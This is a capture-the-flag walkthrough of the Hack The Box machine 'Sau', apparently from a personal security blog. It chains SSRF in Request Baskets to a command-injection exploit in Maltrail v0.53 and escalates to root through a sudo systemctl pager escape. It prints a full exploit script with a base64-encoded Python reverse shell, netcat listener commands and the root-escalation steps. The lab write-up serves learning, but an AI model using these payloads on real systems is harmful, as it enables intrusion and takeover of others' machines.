Info
The information provided on this site is intended for educational purposes only. While we strive to offer accurate and up-to-date content regarding hacking and security, we cannot be held responsible for any misuse or illegal activity conducted with the knowledge gained from this site. Users are solely responsible for their actions and should use this information ethically and within the boundaries of the law.
Enumeration
First i will start with a simple nmap scan to enumerate what we are working with.
Nmap Scan
┌──(atropos㉿Atropos)-[~]
└─$ nmap -sV -sC -p- --min-rate=1000 -Pn 10.10.11.224
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-24 19:37 -03
Nmap scan report for sau.htb (10.10.11.224)
Host is up (0.23s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
| 256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_ 256 b30c47fba2f212ccce0b58820e504336 (ED25519)
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Mon, 24 Jul 2023 22:39:13 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Mon, 24 Jul 2023 22:38:43 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Mon, 24 Jul 2023 22:38:44 GMT
|_ Content-Length: 0
<Snip>
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.26 seconds
On this scan we found 4 open ports, 22,80,8338,55555 but both 80 and 8338 are marked as filtered, so let’s start looking in to it. Looking on the nmap scan we can see that the port 55555 is hosting some kind of HTTP server, so let’s access it.
Initial analysis
The HTTP server is a service called Request Baskets.
Request Baskets is a web service to collect arbitrary HTTP requests and inspect them via RESTful API or simple web UI.
https://rbaskets.in/readme.html
So let’s try to interact with it, lets create a new Basket:
After creating a new basket we can configure it in two separated menus, the gear(1) and the arrows**(2):
Clicking on the arrows menu *(2)* we can configure the Basket response, let’s try to interact with that:
Now we can use curl to send a request to the basket link, in my case http://sau.htb:55555/test:
┌──(atropos㉿Atropos)-[~]
└─$ curl http://sau.htb:55555/test
This is a test of the response
Ok, this works fine, but how can we exploit this ? As you may remember we have 2 other ports marked as filtered by nmap, and this Request Basket app has a option to configure a Forward URL in the gear menu (1), what if we use this feature of the site to “access” those services on port 80 for example. To test this we go to the gear menu(1) and put the http://127.0.0.1/ there:
That way when we access the Basket, in my case http://sau.htb:55555/test we should see the webpage that is running on port 80, BUT, this will only work if the machine it self can access the service through the por 80, because since the port is filtered we don’t know for sure what are the rules inserted on the firewall, but we can try it anyway. And we get a page:
On the bottom we can see Powered by Maltrail (v0.53), in a quick google search we can find that the Maltrail 0.53 is vulnerable to command injection.
https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/
Understanding the process
First thing we need to find, or create, a exploit for this vulnerability, luckily, there is a exploit already made by spookier, so this code is thanks to him.
import sys;
import os;
import base64;
def main():
listening_IP = None
listening_PORT = None
target_URL = None
if len(sys.argv) != 4:
print("Error. Needs listening IP, PORT and target URL.")
return(-1)
listening_IP = sys.argv[1]
listening_PORT = sys.argv[2]
target_URL = sys.argv[3]
print("Running exploit on " + str(target_URL))
curl_cmd(listening_IP, listening_PORT, target_URL)
def curl_cmd(my_ip, my_port, target_url):
payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
encoded_payload = base64.b64encode(payload.encode()).decode() # encode the payload in Base64
command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
os.system(command)
if __name__ == "__main__":
main()
Thanks to: https://github.com/spookier/Maltrail-v0.53-Exploit
The exploit it self is pretty simple to understand, first it get’s the listening ip, the listening port and the target url, then it calls the curl_cmd function, there things may get a little bit fuzzier, but let’s break it down. Here we can see the Proof of Concept for that exploit:
curl 'http://hostname:8338/login' \ --data 'username=;`id > /tmp/bbq`'
If we compare this Proof of Concept to the exploit made by spookier we can see cleanly what is going on, we are executing a pretty standard reverse shell in python for the OS to execute. So to make all this work, first we will use netcat do listen to a port in our machine, than we can run the exploit made by spookier to get a shell.
Obtaining a Shell
Fist, as a said, let’s start setting up a netcat listening on the the port 8000:
┌──(atropos㉿Atropos)-[~]
└─$ nc -lnvp 8000
listening on [any] 8000 ...
Before we run our exploit, we need to setup the Bucket to the login page on the maltrail:
Than, we can run the exploit:
┌──(atropos㉿Atropos)-[~/tmp]
└─$ python3 exploit.py 10.10.14.12 8000 http://sau.htb:55555/test
Running exploit on http://sau.htb:55555/test
After a few seconds, we should see that our netcat has received a connection with a shell:
┌──(atropos㉿Atropos)-[~]
└─$ nc -lnvp 8000
listening on [any] 8000 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.224] 53960
$
Now let’s first create a full shell of it, just follow does instructions:
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo;fg #type 1 and than enter
export TERM=xterm
Now with a full shell we can start playing with it, using id we can see that the current user is not root, so we will need to escalate our privileges. But we can get our user flag now:
puma@sau:/opt/maltrail$ cd ~
puma@sau:~$ ls
h user.txt
puma@sau:~$
Privilege Escalation
The most standard way to start with privilege escalation is by using sudo -l, this will show us if our current user has any commands that he can user without providing a password.
puma@sau:/tmp$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
Here we can see this exact line: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service this is here my personal nightmare begins. The fist time i saw it, i was like “Cool i can use systemctl as root, this will be easy.” And you now may be wondering “What about the rest of the line? didn’t you saw it ?” Short answer: NO.
After 4 complete hours banging my head in the wall trying to see the OBVIOUS i found a way to use a method that is on GTFObins, we need first to use systemctl, to check the status of the service trail.service:
sudo systemctl status trail.service
Once the systemctl opens up, we can use !sh to spawn a shell, but since we was root, this shell will be on root as well:
puma@sau:~$ sudo systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
Active: active (running) since Tue 2023-07-25 00:28:35 UTC; 15h ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 890 (python3)
Tasks: 21 (limit: 4662)
Memory: 49.6M
CGroup: /system.slice/trail.service
├─ 890 /usr/bin/python3 server.py
├─1198 /bin/sh -c logger -p auth.info -t "maltrail[890]" "Failed p>
├─1199 python3 -c import os,pty,socket;s=socket.socket();s.connect>
├─1200 sh
├─1206 python3 -c import pty; pty.spawn("/bin/bash")
├─1207 /bin/bash
├─1236 sudo /usr/bin/systemctl status trail.service
├─1237 /usr/bin/systemctl status trail.service
├─1238 pager
├─2098 /bin/sh -c logger -p auth.info -t "maltrail[890]" "Failed p>
├─2099 /bin/sh -c logger -p auth.info -t "maltrail[890]" "Failed p>
├─2102 sh
├─2103 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I>
├─2104 /bin/sh
!sh
# whoami
root
#
Now we just need to navigate to /root and get our flag:
# cd /root
# ls
go root.txt
#